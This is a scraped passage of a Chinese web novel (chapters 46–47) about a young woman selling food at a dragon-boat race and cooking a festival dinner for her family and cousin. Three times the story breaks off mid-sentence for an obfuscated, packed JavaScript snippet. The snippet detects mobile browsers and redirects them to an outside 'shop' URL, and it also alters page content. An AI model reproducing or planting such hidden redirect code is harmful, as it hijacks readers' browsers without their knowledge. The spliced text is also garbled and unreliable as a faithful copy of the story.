有那手中宽绰的，便会买壶酸甜的冰饮，热时抿上一口消消暑。 两人赶到河边时，游河尚未结束。 石桥两岸正唱着悠远绵长的山歌，龙舟上的汉子们亦松弛划桨。伴随着节奏明快的锣鼓声，他们悠哉悠哉地齐唱起古朴隽永的龙船调子。 “龙船哟~~” “鼓响呐~~” “划呀划咿哟喂！” “划呀划咿呀~~” “龙船哟~~~” 数百人在河面齐唱调子，浑厚朴实的和声掠过平坦的稻田，穿透鞭炮的雷鸣，悠悠传向四面八方。 岸边百姓亦是从小听着这些老调子长大，听得熟悉的音律，一时间不由随流哼唱起来。 漫天的悠扬歌声响起，被这热闹欢快的气氛感染，平安和玉兰也未免俗，笑着与乡邻们同唱、同庆、同欢喜。 待调子唱罢，山歌退下，龙舟队歇整一番后，便要开始正式比赛。 这个时间，百姓们无事可做，正是她们揽客的好时机。 玉兰虽性子爽利，但毕竟是第一回摆摊，她忸怩半晌，站在平安身边拉了拉她衣袖。 平安笑着拍了拍她的手，随即朗声吆喝起来：“卖香喷喷油汪汪的鱼丸咯，一文一粒，两文三粒。” 玉兰见状，亦笑着吆喝：“卖酸香清爽的冷淘了，三文一碗，三文一碗。” 其他摊主此刻如梦初醒，很快也随着她们吆喝起来。 歌声唱罢，叫卖声起。两人相视一笑，便低头认真煎炸起鱼丸来。 今儿人多，遇着几个熟客，聚拢了人气，生意才慢慢火热起来。 参赛的龙舟共十六艘，镇上将他们分为四组，计时取胜，每组择两支队伍晋级。 如此循环往复，待到下午，便可开始决胜局，能坚持到最后的队伍，皆是实力与耐力兼具。 因着这赛程长，赛制繁复，到了中午，很多百姓便选择在镇上歇息，只为下午一睹魁首风姿。 从石桥起点往西的这条航道，镇上最多能看个三四里，到了河湾拐角，那热闹便归属于河湾附近的百姓。 每当看不到龙舟，平安这边生意便会迎来一阵小高峰。 玉兰一边收钱，一边踮脚替平安转播赛况。 “咱们村的等下就要上了，你不去看看妹夫？” “那你不看？”平安问道。 “我收了钱的，当然要替你守着，等下换我看，你看完告诉我。” “成。”平安爽快答应，转身便往堤边高处跑去。 随着各村营地鞭炮齐鸣，河面顿时响起震天的锣鼓声响。 这是破水前的击鼓助威，离比赛开始不久了。平安听罢，心急如火，可到处都是密密麻麻的人头，她一时间根本抢不到合适的位置。 听着锣鼓声响越来越急，越来越密，平安心中愈发焦急。 随着锣鼓声攀至高峰，尔后陡然一滞，平安的呼吸亦随之一滞，没时间给她选择，平安心一横，抱起堤上的高大杉树便呲溜往上爬。 这杉树高大笔直，底下的枝干早已被附近百姓砍烧取暖，正方便她爬上。 爬高至两米，平安手脚并用，抱紧树干，朝河面望去。果不其然，这里视野正正好，还可比底下的人多看上一段。 察觉四周人打探的目光，平安心下羞囧，只恨方才没系块面巾来遮遮羞。 “砰！” 伴随着烟花冲天巨响，所有龙舟如同离弦之箭，飞快破水而出。 他们月河村的龙舟运气不太好，分在了左数第二。 那边属于外河道，虽早出发几十米，可在比赛中一向吃亏。 往年都是内河道的赢得多，外河道能胜出的，那都是赛中黑马，夺冠热门。 这可有些糟，平安不由自主地攥紧树干，心中不由替木头担忧起来。 他这三分钟热度的人难得遇见让他用心投入的事，要是输了，还不知他得多低落。 昨日他可还说，要干翻那芳洲村的那些恶棍，好好替她出口气。 这要是折在第一轮...... 听玉兰说，今儿的比赛很是精彩，比赛初始，便彰显了各村的不同策略。 有的村自诩技艺高超，一马当先，不过两百米便领先其它龙舟数船水。 有的村则稳扎稳打，保存体力，静待冲刺的好时机。 有的则半路超车，在河湾处便发力赶超。 平安瞧着，她村里的龙舟倒是不紧不慢，始终混在中间位置，倒让她猜不着到底是实力不济，还是在酝酿大招。 不过看了多年龙舟，自己又在水上漂了七年，平安这划船技巧虽说不得多么高超，但勉强也摸了几分门道。 这船的桡子整齐程度、破水深浅、船的料子、形状，艄公经验都会影响最终的比赛结果。 之前就有村艄公水平不济，将龙舟方向控偏，撞到别村龙舟，事后花了好几贯道歉了事。 就在平安神游之际，各村龙舟陆续发力，他们村亦开始加速赶超。 混乱密集的锣鼓声响极易让人迷失节奏，分不清敌我，一旦乱拍，这船的速度便再难拯救。 也因此，各村船头另设指挥，船中亦添竹竿点头，供船尾众人跟上号令。 瞧着村民齐力加速，平安的心怦怦直跳，也跟随他们的节奏跳得飞快。快了，快了，村里龙舟已接近第二名的龙舟。 眼看着两船距离从两船水变一船水，再变半船，平安伸长脖子凝神细看，想要看那最终结果。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14440573|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 倏地，视野中只剩一根灰蒙蒙的船舵。 他们已过了河湾。 她恨恨地收回视线，再回头，却见树下围着好些看热闹的人。 见她看过来，那些老伯大婶皆热情朝她喊话。 “小娘子这手爬树功夫可了得，我家孙子咋教也教不会。” “有股子力气，能在树上坚持这么久。” 还有那担忧她的，忙出言劝阻：“快下来，没什么好看的了。” 平安闻言，只得讪笑出声：“小时候调皮，爬得多了，好久没爬了，今日情急之下一下子就跳上来了。” 一边说，她一边慢慢往下溜。 等她回去，玉兰已然做了好久的生意。 见她回来，她转头笑问：“怎么样，看见妹夫了？” 平安实话实说：“看见了，只是隔得远没看太清。” “你这不解风情的呆瓜。”玉兰戳了戳她腮帮，“便是没看清，等会你也得夸他英勇无敌，简直要被他迷死了。” 平安闻言瞬间打了个激灵，她摸了摸胳膊上的鸡皮疙瘩，打着哈哈转移话题。 再过一组，便近午时，那时候冷淘的生意就好做些了。 最近青瓜丰收，她擦了好多青瓜丝放着一起凉拌，口感比之前不知清爽多少，冷淘也比之前更受欢迎。 村中比赛既完，只需等待他们返程便可知晓比赛结果。 若是输了的龙舟，那个个都是埋头丧气，只一心划舟离开。 若是胜出的龙舟，返程时便爱靠着村子所在面的河堤归来，口中兴奋地唱着古老的龙船调，气氛到了，还会朝岸边看热闹的百姓举起手中木桡致敬。 临近饭点，河边人群逐渐散开。 平安本不抱多少希望，待听得耳边一阵娘子娇笑，她好奇抬眸，却见得木头正朝她兴奋挥桨。 “娘子。”木头大声唤道。 平安闻言，朝他粲然一笑，两人隔着人群挑眉对笑，心中自是明白对方的未尽之言。 玉兰在一旁目睹两人眉来眼去，待龙舟离去，她方戏谑道：“你说说，你说说，这么俊的脸，就当为生个好看的娃，你等会也得说几句好话哄哄他。” “小的遵命，求姐姐放过。”平安含笑应下，逗得玉兰哈哈大笑。 “你这家伙，越来越促狭。” 卖完冷淘，平安与木头知会一声后，便带着买的食材与玉兰一块回了家。 早在昨日，家中便泡好数斤糯米，摘下粽叶，等着今日的包粽子大业。 爷爷这会想来已在包那些碱水粽，只等着她回家处理馅料。 玉兰因扯着帮工的由头，今日也得婆家应允，从繁杂的家务中抽出身，随平安一块回了家。平安早说要请她用饭，今日必然得好好准备准备。 “玉兰，先喝杯水坐着歇歇。”看平安忙着清理木桶，胡水生赶忙招待侄孙女歇息。 “谢谢幺爷，我不累的。”玉兰爽利应道。 见爷爷手中活多，洗完手后，玉兰也坐在一旁帮着打起下手。 平安来到灶房，见灶上已熬好金黄的南瓜粥，而旁边的蒸笼，这会亦冒着蒸腾的热气，想来豆子也快蒸好。 她舀出粥水，与玉兰各喝上一碗后，便开始准备她粽子的馅料。 除甜口豆沙粽外，她亦想做几味咸口肉粽。 平安剥去鱼子血膜，用清水与酒漂过，放置于纱布上沥干水分。 她将沥干的鱼子放入擂钵，加入鸡蛋、虾米、香蕈粉一同擂碎，直至辨不出颗粒方停下。 擂钵那边盖好盖子防着蚊虫，平安又把葱、姜、胡椒、花椒、碾成细末。后加入酒水浸润，再度研磨后过滤出渣滓，作料酒备用。 擂钵中再度加入料酒、酱油、少许飞盐，搅拌均匀，使鱼子泥匀称入味。 做好的鱼子不过半成，平安捏了颗豆子，见已然软烂，便将豆子取出，把鱼子盛入璇碗中，入蒸笼蒸制。 46. 杀鱼的第四十六天 蒸制鱼子的间隙，平安便将豆子摊开晾凉。 堂屋里，玉兰和爷爷正一手挽粽叶，一手拿筷子夯实糯米。 爷爷这边已然包好两串碱水粽，一串绿豆并红豆粽。 看平安过来，玉兰起身笑问：“要帮什么忙不？” “当然。”平安笑着指了指盘中的红枣，“需要用小刀将枣核剔出，但不能把枣子切断。” 说罢，她演示一番，将小刀从红枣侧面剖入，待碰至枣核便沿核缘将刀往右斜剔，直至将枣核完全剔出。 “这好办。”玉兰爽快应下，挥挥手示意平安，“你先歇歇。” 平安爽利笑应：“没事，你和爷爷多歇歇，我去灶房看看。” 说是去看，实则是要准备晚膳。 家中来客，又恰逢节日，她得多备几个菜才对得住人。 急易生乱，平安深吸一口气，将等会要做的菜依次摆在灶台后的长案板上。 鲈鱼、鳝鱼、田螺肉、隔山肉、雍菜、香干、干莲子、干百合，还有做粽子用的咸蛋黄与干腊肉。 这会鲈鱼和鳝鱼还在桶中活蹦乱跳，这东西放久易腥，平安便打算将它们留在最后处理。 她将隔山肉切成薄片，加入姜片、莲子百合一同入锅炖煮。 这隔山肉是划分猪身胸腔与腹腔中间的那层膈膜，与猪的肝肺相连，切下来多呈条状。它一侧是膈膜一侧是细嫩的瘦肉。因着口感独特，肉质脆嫩细腻，卖价比一般猪肉要贵上十文。 若不是她早几日与那屠夫预定，今日这好肉可轮不到她。 忙完这些，她又将腊肉切丁，咸鸭蛋敲出，只留蛋黄。 这会蒸笼已白雾缭绕，冒出腾腾热气，平安转身利落将鱼子取出。 经过蒸制的鱼子，早已凝固成一团颤颤巍巍的热羹，轻敲碟沿，它便随这股力度轻轻颤动。 平安瞧着它色泽呈鹅黄色，看着很是细嫩，她心下满意切出一小块尝味。嗯，咸淡适宜，入口细腻鲜香，比之蒸蛋更多了鱼虾的鲜和香料的香浓。 轻轻一抿，嫩滑的鱼子便在口中化开，给予舌尖无比伦比的鲜嫩味觉。 她将这鱼子羹用刀划成块，放一旁备用。 若是喜爱重口的，还可在上面抹上酱油与香油增味，但平安觉得，这味已经足够，吃的这是这股清爽的鲜味。 等下拿上几块包成粽子，剩下的可直接食用、可用油煎香，听说那富贵的人家，还会寻来松球与干荔枝壳熏制，再为它增甜几分清香风味。 平安小心翼翼将咸蛋黄剥掉白膜，用黄酒滚上一遭，便把它们放蒸笼上蒸制。 玉兰这会已将一盆红枣剔出，看平安还在忙活，她上前要替她捶打豆泥。 这样的累活，平安做起来比旁人轻松不知几许，她忙拦住玉兰，从碗柜中舀出一碗早些时候磨好的糯米粉。 “来，你做这个，我去舂。” 说罢，平安将糯米粉倒入盆中，少量多次地加入凉水，待干粉全部化开，米浆呈粘稠状态，平安再加入少许米粉，继续搅拌。 直至米浆成为米团，捏之不散，便可作用。 平安捏了寸长的米团塞入去核的红枣中间，叮嘱玉兰：“你先这样捏，等捏完再喊我呀。” 包粽子的时间紧促，她得快些将粽子馅备好。 幸而豆子早已煮得软烂，不过几十息，便被平安捶打成细腻的豆泥。 她加入蜜糖，与这些豆泥搅拌均匀，这才端着这盆馅料进了堂屋。 爷爷这会正将包好的碱水粽放到院中支起的锅中盖盖焖煮。 见得平安过来，他笑问：“咱们可得吃上一段咯。” 平安接道：“到时候咱天天买块冰回家，让这粽子沾沾您的光。” 胡水生一向是个聪明人，孙女自己赚的钱，他并不想如何抨击指责她。更何况家中债务已清，这孩子跟着自己过了那么久的苦日子，享享福也是该的。 似想到了什么，他望着平安的眼神愈发愧疚。 察觉爷爷眼眶突然湿润，平安忙温声安慰：“爷爷，别伤心，往后我和你孙婿努力干活，咱们让你一直过上好日子。” 胡水生只是摇摇头，拍着她的手，哑声道：“是爷爷对不起你。” “爷爷待我很好，和爷爷在一起，我很开心。”平安敏锐地察觉到爷爷语中的未尽之意，在她看来，爷爷当时救她，养大她，那便是给了她第二次生命的再生父母。 只是她不想将这层窗户纸戳开，是以只是用力握紧他的手。 胡水生扯出一抹笑意，轻轻地点点头。 待平安走开，他方用袖角擦了擦眼角。 将豆沙粽子交给爷爷，平安很是放心。 趁着蛋黄还在蒸笼，她提起鳝鱼的桶就往井边走。 剖这鳝鱼，得寻来不常用的木板与钉子，做完若是洗不干净，那丢了也不心疼。许多人虽爱这口细腻的肉丝，但碍于鳝鱼滑不溜秋，又肖似水蛇，很难利落处理。 平安早已在档口剖过无数次，这会做起来手起刀落，面不改色，她动作流畅地剔骨、剖丝、换鱼。不过几息，鳝鱼已被她剔成长条的鳝丝。 一旁的玉兰看得目瞪口呆，手中的动作也不由停滞下来。 平安回头朝她挑眉一笑，只得来她一句耳语：“你说说，你这小娘子家家的，学什么吊儿郎当的衙内样，可真是。” 玉兰越说越气，恨铁不成钢地在她身边恨恨瞪脚。 平安被她这模样逗得哈哈大笑。 “还笑，你还笑。” “好姐姐，我今日开心。”玉兰闻言，居高临下睨她一眼。 平安顿了顿，低声道：“好久没和你相处这么久了，真想不长大就好了。” “哎。”想到堂妹过去几年的遭遇，玉兰闻言不禁皱眉轻叹。 “好了好了，是该开心点。”她拍了拍平安，却见得她正抿唇暗笑。 “你这家伙，尽逗我。”她失笑出声。 这会临近申时，待玉兰将枣子塞满糯米浆，俩人又一块将需要的葱姜蒜、青瓜、紫苏等配料备好。 爷爷跟前的椅背上，早已挂满一串串包好的尖角豆沙粽，个个形状饱满，入手紧实。 两人见状，也纷纷加入。 或是包蛋黄咸肉、或是包蛋黄豆沙、平安也试了几个鱼子羹的。 做这种细致活还得是爷爷这种老把式，只见他动作熟练地捏起两片粽叶，便将它们轻易地卷成合适的尖筒形状，舀入糯米后，他又用长筷细细将大米戳实，然后再放上内陷，填满糯米覆盖住。 待里面的大米高度接近筒子边缘，他便将上面竖起的粽叶轻轻按下，朝叶子两边一捏，再有长的，便向右一折，一个完美的三角顶端便出现。 只见他一手捏粽顶，一手牵麻线，不过三息，这粽子便已被他捆得紧紧，垂挂在椅背上。 他包的粽子与平安她们包的粽子，大小形状不尽相同，一眼便可分明。 平安与玉兰自是连连夸赞，当下也夸下海口，明年定然要精进这门手艺。 胡水生笑着挥挥手，只让两人去玩会。 平安拉着玉兰一块跑到院中，给她看看她前些日子做的梅酱。 玉兰掀开坛盖，俯身轻嗅，瞬间被坛中那股清冽馥郁的香味迷住。 她拉住平安，细问：“这是怎么做的？我婆家那边好些个青梅树没人理睬。” 平安笑着同她娓娓道来：“首先，得将梅子洗干净蒸熟，待熟透去核。你记着，比例是一斤梅子肉三钱盐。” 玉兰点点头，等她继续说。 “将这梅子放日头下晒到红黑色，便可加白豆蔻仁、紫苏、白糖调味拌匀。”若是按那配方来得加少许檀香最佳，可这次等的香料也得好几贯起购，她们没必要为了这梅子酱花那么大的本钱。 “放好后再入熟梅、多盐、待腌制至无颗粒，再入红糖、紫苏、薄荷入坛子腌晒。”[1] 玉兰越听眉头皱得愈紧，她叹道：“难怪那酸梅无人理睬，费盐又费糖，我若是这么做，我婆婆得把我掐了。” 平安也知她未分家，自己这这几年又一直在家干活带娃，手中并不宽绰。 当下拍着胸脯承诺：“等我这个酿好，我送你一小罐尝尝味。” 玉兰连连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14450131|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆手：“太精贵了，我不能占你便宜。” 平安忙道：“不精贵，就是费些功夫，你莫推辞。”说罢，她沉思半晌，“等这段时日我在镇上寻摸寻摸，看看有没有适合你的活干，你可愿意？” 见玉兰笃然点头，她方接着与她私语： “你婆婆往常总不让你出门，你看今日，一说可赚个小工钱，还不乐颠把你放出来。” 看着玉兰神色怏怏，平安小声叮嘱：“咱们即使成了婚，自己手中也要有钱，腰杆才能挺直。今日的工钱，超过三十文的那半你可莫交给你婆婆。” “知道了。”玉兰望着院里花团簇簇的花圃，轻声叹道，“你说的没错，可我每每看到我婆婆，总是心下害怕。”诚然，玉兰性子虽爽利，在家中也不敢和婆婆明着对着干。 “莫怕，你还有娘家人，她还能吃了你不成。你在家帮忙晒麻抽丝，你家中进项并未变多，只是轻松了你婆婆和妯娌，这卖麻钱还不是被你婆婆掐的死死的。” “可若是你能在外面赚到钱，还交些钱给你婆婆，你看你婆婆还会不会再偏心你妯娌。” “安安，你说得有道理，可我害怕。”玉兰垂眸，神色低落。 “不急，咱慢慢来。”平安轻轻拍了拍她。 两人又跑到园中，看了看她种的月季、蔷薇和栀子，前两者枝叶舒展，开得红艳艳，那花骨朵一簇簇，都快把枝丫压垂。而栀子更是绿叶白花，开得灿烂。她们隔着老远便可闻见它散发的幽幽浓香，深吸一口，沁人心脾，让人瞬间神清气爽。 看玉兰喜欢，平安给她摘上一把，只让她回家时带着。等她有时间，她也要趁着花季多摘些做冬日用的栀子香膏。 姐妹俩窃窃私语说了半晌私房话，平安方将阵地转移到灶房。 玉兰烧火，她炒菜，这会天热，早些做出也不怕菜凉。 锅中放宽油，炸制切断的鳝丝，在热油的烹炸之下，鳝丝受热蜷曲，瞬间缩水。 平安用锅铲铲出些许细看，还不够，这东西得炸透，吃着才安心，她温声道：“加柴。” “好呢。” 待鳝丝控油捞出，锅中留油，下姜蒜，与少许芥辣一同爆香。 待油热，下鳝丝、盐、酱油大火翻炒入味。 灶房中瞬间弥漫起浓烈的荤香和蒜香，两人被挥发的芥辣呛得连连咳嗽，相视一笑。 鳝丝入味后，则下青瓜一同翻炒，待青瓜均匀裹上酱汁，平安便盖上锅盖。 听得锅中传出滋滋炙响，平安沿锅边倒入少许黄酒，继续焖煮。 另起锅，加入香料与多种辣酱一同爆香，倒入泡好沥干的田螺肉快速翻炒。 这会的田螺肉已然泡发，肉质十分脆弹，只需从热油中滚过几遭，将它烹熟，便可下酱油、三鲜粉、紫苏增味提香。 如此炒制的田螺肉，虽味道偏辣了些，但香气馥郁浓厚，无一丝泥腥，入口更是咸鲜香辣，口感脆弹，极为下饭。待入了腹，回味中依稀还可品出淡淡的紫苏香。 生在水乡，多食水产，平安自小便与这模样漂亮，自带异香的紫苏为伴，她自然也成了它的忠实爱好者。 别的香料她可以不放，但若是做红烧、爆炒、油焖的鱼虾螺蟹，这紫苏作为上好的去腥增香的调料，必不可少。 玉兰看她还要继续炒菜，忙起身出言劝阻：“够了够了，这些够了。” 平安笑应：“不够不够，这些不够。” “你这倔驴！”玉兰嗔笑着斥道。 “谁是倔驴呢？”木头的声音由远及近，他扒拉着门框，笑着将脑袋伸进。 玉兰转身回道：“骂你家傻娘子呢，都是熟人，硬要客气地做那么多菜。” “哎，姐姐莫拘礼，难得上门一次，这些粗茶淡饭，还请你不要嫌弃才好。”木头闻言，笑得温和有礼，又讨巧地朝她鞠躬作揖，“只是姐姐骂我就成，可千万别骂我家娘子，我听着心疼。” “呸呸呸！”平安耳尖骤然变红，朝他低啐几口。 “哈哈！你们啊！”玉兰被两人这副模样逗得颤笑不止，看两人这欢喜冤家模样，她心中不禁暗暗松了口气。 47. 杀鱼的第四十七天 木头只是嘻嘻一笑，挑眉朝平安邀功：“芳洲村的那些孙子，今日可算糗大了。” 平安笑问：“哦？怎么了？” “冲刺之际，他们艄公把船控歪，直接包抄了旁边小河村的船头，两个村的人当下就在水里打起来了。” 无论是何缘由，船横别人船头这类抄头行为一律为竞渡大忌，视为对对手的蔑视与挑衅。这可是真的闹大了，平安与玉兰皆望向木头，等他接着讲后续发展。 “你们走后，知县大人还来咱镇上观赛，听得发生这等变故，他直接下令让芳洲村退出今年比赛，还赔了人家小河村五贯钱。” 能到决赛的，都是有机会竞争一番彩头的，说起来这钱还少了。 毕竟今年彩头可多达上百贯，都是各村乡贤与镇上富户集资募捐所得。若能进前几名，每个村少则分到十几贯，多则四五十。 这笔钱可以给村里买地、建学堂、修祠堂，还可以让整个村都吃上几日的流水席。是以各村努力练习，除了挣个名头外，亦有这笔钱的缘故。 话说回来，木头今日这般兴奋，也不知村中赛况如何？ “那咱们村呢？”玉兰率先开口问道。 “不太好。”木头委屈巴巴看了眼平安，随即垂眸叹了口气。 “只得了个差劲名次。” “没关系，来年继续努力。”看他如此低落，平安也只得出声安慰，事情已然发生，再沉溺其中结局也不会再改变。 “哎。”木头低声叹道，“也就得了个第三吧，村里明儿要请大家。” “什么？”平安歪头侧耳，她似不敢置信般重复：“再说一遍。” “第三，娘子，咱们得了第三，哈哈哈。” 木头笑不可仰，上前就要揽住平安分享他的喜悦。 平安拍开他的手，偏头去看玉兰，却见她已经捂着脸跑了出去。 “你这人。”平安话音未落，便已被他一把揽住腰肢抱起。 “快放我下来。”平安挥了挥手中的锅铲，嗔怪道，“别弄到身上了。” “我就不，我就不。”木头闻言，抱得愈紧，直将她紧扣怀中转飞两圈，待转得脚步蹒跚，步履错乱，他这才不舍的靠着灶台将她放下。 “姐姐还在呢！”平安无奈地点了点他心口。 木头这才后知后觉想起这事，他悻悻地摸了摸鼻子，尾随平安出了灶门，待再见得玉兰，他倒似个没事人般，照常与她招呼。 “娘子，你去哪儿？”木头眼看她越走越远，忙出声问道。 平安拉住玉兰，转头回应：“我去湖边有点事，你在家帮我看着火好不好？” “成！”木头爽快应下，看她走得毫不留情，他忙找补一句，“那你可得快些回啊。” “知道了！” 平安今日是想去取那酿藏数日的碧筒酒，往年端午一过，镇上多会迎来雨季，她若不早些取回，那酒可就得坏了味道。 两人照例穿过那座一尺宽的小石桥，行走间，玉兰见得桥下紫红的菱角丛生，她回首对平安提议：“等菱角熟了咱们一起来摘些？” “好啊，要是摘得多，咱们还可以去镇上卖。”说起菱角，平安也不禁有些馋了。新鲜的红菱脆嫩清甜，吃着很是爽口，只是若是运气不好，菱角肉沾上了菱角壳的味道，那味道就会变得涩口微苦。 等菱角成熟老化，变成仿若牛角的大菱角，那就得剥出菱角肉或是煮熟食用。 煮熟的菱米，粉糯微甜，放些油盐清炒，也是一道清新可口的时蔬。 待来到自家池塘，平安仔细检查了那几株荷叶，见得它们包裹紧密，四周无缝隙，她这才取出漏斗与酒坛，小心将酒接出。 平安虽不嗜酒，但乍一掀开荷叶，便被这股醇厚甘甜的香味所吸引。 这酒亦色泽澄澈清亮，在荷叶上摇晃似跳珠，想来滋味不会差。也难怪有文人曾因此作诗：“细倾初作露珠圆，满引忽惊云液碎。”来赞叹它的美味。[1] 玉兰回婆家还需走一段路，为着她早些吃完不必摸黑，平安这边取完酒便赶忙回家。 此时锅中的鳝丝炒青瓜和隔山肉莲子百合汤已然做好，平安将菜盛出，洗锅后便开始接着炒菜。 她将玉兰包好的那盆枣夹糯米放在灶上，叮嘱木头烧小火。 锅中下油，待油受热，平安用筷子伸进锅中试温，见筷子周边泛出小而密集的气泡，平安将一盆枣子倒入油锅，开始小火慢炸。 因这结实的糯米浆夹在红枣中间，热气难以渗入，若是火候过大，则易炸枯枣皮，内里夹生。 是以平安密切关注火候，待锅中枣子炸至微酥定型，她方用笊篱轻轻翻拌，使它受热均匀。 这样小火慢慢烹炸下来，枣皮依旧保持亮眼的红色不见枯槁，而内里的糯米也被慢慢炸得软糯熟透。 平安挑出一颗控油，待温度降下后她方小心试味。 红枣被炸得外酥里嫩，枣泥的清甜绵软与糯米的清香软糯在口中奇异交织，吃起来枣香浓郁，柔韧弹牙。 “熟了吗？”木头抬头眼巴巴问道。 “熟了。”平安笑道，“只是现在还不能吃。” 她将枣子捞出控油，放盆中备用。 锅中宽油全部铲出，倒入一勺水，一勺糖。 “中火。”平安吩咐道。 “得令。”木头往灶中添了两根柴。 待锅内温度渐升，水与糖受热充分融合，锅中出现密集的小气泡。 随着时间流逝，锅中气泡变大变密，糖浆的水气被高温蒸发，眼前瞬间一片雾蒙。 挥了挥眼前的雾气，平安侧目从锅缘细看，糖浆的大气泡在逐渐破裂消失，再度变为密集的小气泡，同时糖浆质地也变得粘稠。 这样的火候若是断火做个反沙芋头或山楂倒是可以，但若是想拔丝还得继续熬煮。 平安继续搅拌，待糖浆颜色呈褐色，则立即关火，抽锅，将枣子倒入锅中快速翻拌后盛出。 红彤彤的枣子霎时间裹上一层琥珀色的焦糖，遇冷后迅速粘稠抽丝。 平安夹起一颗，枣子表面霎时拉起丝丝密密的糖浆，长而不断。如此，这道甜香绵软，口感丰富的拔丝心太软便已做成。 木头这会早已乖巧待在灶前，平安见状，笑着将这颗枣子塞入他口中。 “唔，娘纸，芥个是甚么菜？”木头口齿不清地问道。 “这个啊，叫拔丝心太软。”平安笑着戳了戳他心口，“你说它的心是不是软的？” 木头抿了抿唇，这才从方才那香甜软糯的口感中回过神来，娘子这名字取得十分贴切。 这枣子绵软，内陷软糯，红枣自带的微微甜味与焦糖的浓郁香甜混合在一起，形成愈发馥郁的枣泥香味。而内里的夹心因着口感弹糯，没甚味道，则恰当地中和了焦糖与热油所带来的甜腻。 酥而不脆，甜而不腻，一切的香和甜皆因火候得宜而恰到好处。 “好吃，真好吃。”木头真心赞叹，“我去端给爷爷他们吃。” “去吧去吧。” 待木头一走，平安往灶中添柴，几下便将香干与雍菜炒了。 最后两门菜做完，她又取出几个小碟，里面放上蒜末、酱油、醋、芥辣、青瓜丝、香葱，调制出几碟蘸水。 堂屋的圆桌上早已摆满菜碟，见平安过来，玉兰忙拉着她坐下。 “开吃了，可别再弄菜了。” 平安拿起筷著应好，做完这些，人都快热晕，感觉吸那油烟味便已吸饱。 恰在此时，身侧一股凉意袭来，原来是木头殷勤地拿着蒲扇在替她扇风。 平安一边喝着清爽的肉汤，一边享受这难寻的清风。 “多吃点肉，不要客气，要是觉得淡了，可以蘸上些蘸水调味。” “放心，在你家我不会斯礼的。”玉兰笑着舀上小勺肉片，等这肉片一入口，她便被这独特的口感所惊艳。丝毫没有猪肉的腥膻不说，肉质又兼具细嫩与爽脆，着实神奇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14459319|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这是什么肉？”她好奇问道。 “隔山肉，怎样，好吃吧，味道可比梅花肉还要更胜一筹。”平安起身又给她添上一勺。 玉兰呆呆点头。 “好吃。”木头接话。 “的确细嫩。”爷爷也沉吟出声。 “好吃大家都多吃点。”平安笑着指了指桌上的菜，“这青瓜这会已经炖得粉烂，沾满了鳝丝的鲜浓汤汁，吃着软软糯糯，入口鲜香。” 她又对木头道：“还有那田螺肉，上次你不是吃着不过瘾，这里全是肉，一口吃个饱。” 看她王婆卖瓜，自卖自夸起来，众人皆轻笑出声。 嗯，虽她很是自信，但这味道的确未曾夸大。 鲜、香、软、糯、辣，一段青瓜条便可下两口饭。田螺肉更是弹韧有嚼劲，是与鳝鱼截然不同的鲜。 平安用手肘顶了顶木头胳膊，他很是上道地起身给爷爷与玉兰斟酒，随即又给平安和自己斟上。 “这碧筒酒香而不烈，口感醇厚甘香，大家都品品。” 说罢，平安举杯敬客，与众人碰杯后，方慢慢品尝起这杯中酒来。 这酒轻嗅酒香浓郁，入口柔和回甘，细品之下，还可品到一丝淡淡的清冽荷香。除了有些酒味，那香味倒与饮子相差无几。 喝酒时配上这香辣爽口的田螺与鳝丝，即下酒又下饭，一桌人情不自禁地连饮好几杯。待喝得辣了，便吃上些青菜，吃颗香甜的枣子，或是喝口肉汤换换口。 一桌子菜，酸甜香辣皆有，吃得是酒醉饭饱，宾主尽欢。 这会乌金西坠，鸡鸭回笼，已然临近酉时。 留下木头与爷爷扫尾，平安提上粽子、栀子花，又拿荷叶包上些拔丝枣子，便送着玉兰回了家。 乡间小道上，蛙叫蝉鸣此起彼伏，往来皆是散漫聊天的村民。 见得平安两人相携走来，不少人暗中打量两人良久，随即有人发问：“这是去哪儿啊？” “吃完饭，随便走走。”平安囫囵应道。 玉兰发现，自己是越来看不透这个堂妹了，以前性格那样直爽，如今说起话来也学会了避重就轻。 平安送完玉兰回家，就见木头这会正在院里给狗子喂食。 一边喂，他一边喃喃自语：“小白，我今儿可真厉害，嗝！还是你好看，长得白白净净，看着就舒心。” 再抬眸，见得一旁疯狂摇尾的灰灰，他语调悠长地叹了叹：“黯淡了点，但底子还是不错的，还是白白净净好看，嗝！” 说罢，他摇晃着要站直身体，却力有未逮，踉跄着要往前扑去。 平安快步上前拉住他的手肘，他却顺杆往上爬，另一只手也攀爬到她身上，头埋在她脖颈间左右蹭蹭：“娘子你回来了，我等你好久了。” 这人，在自己走后又喝了多少酒？ 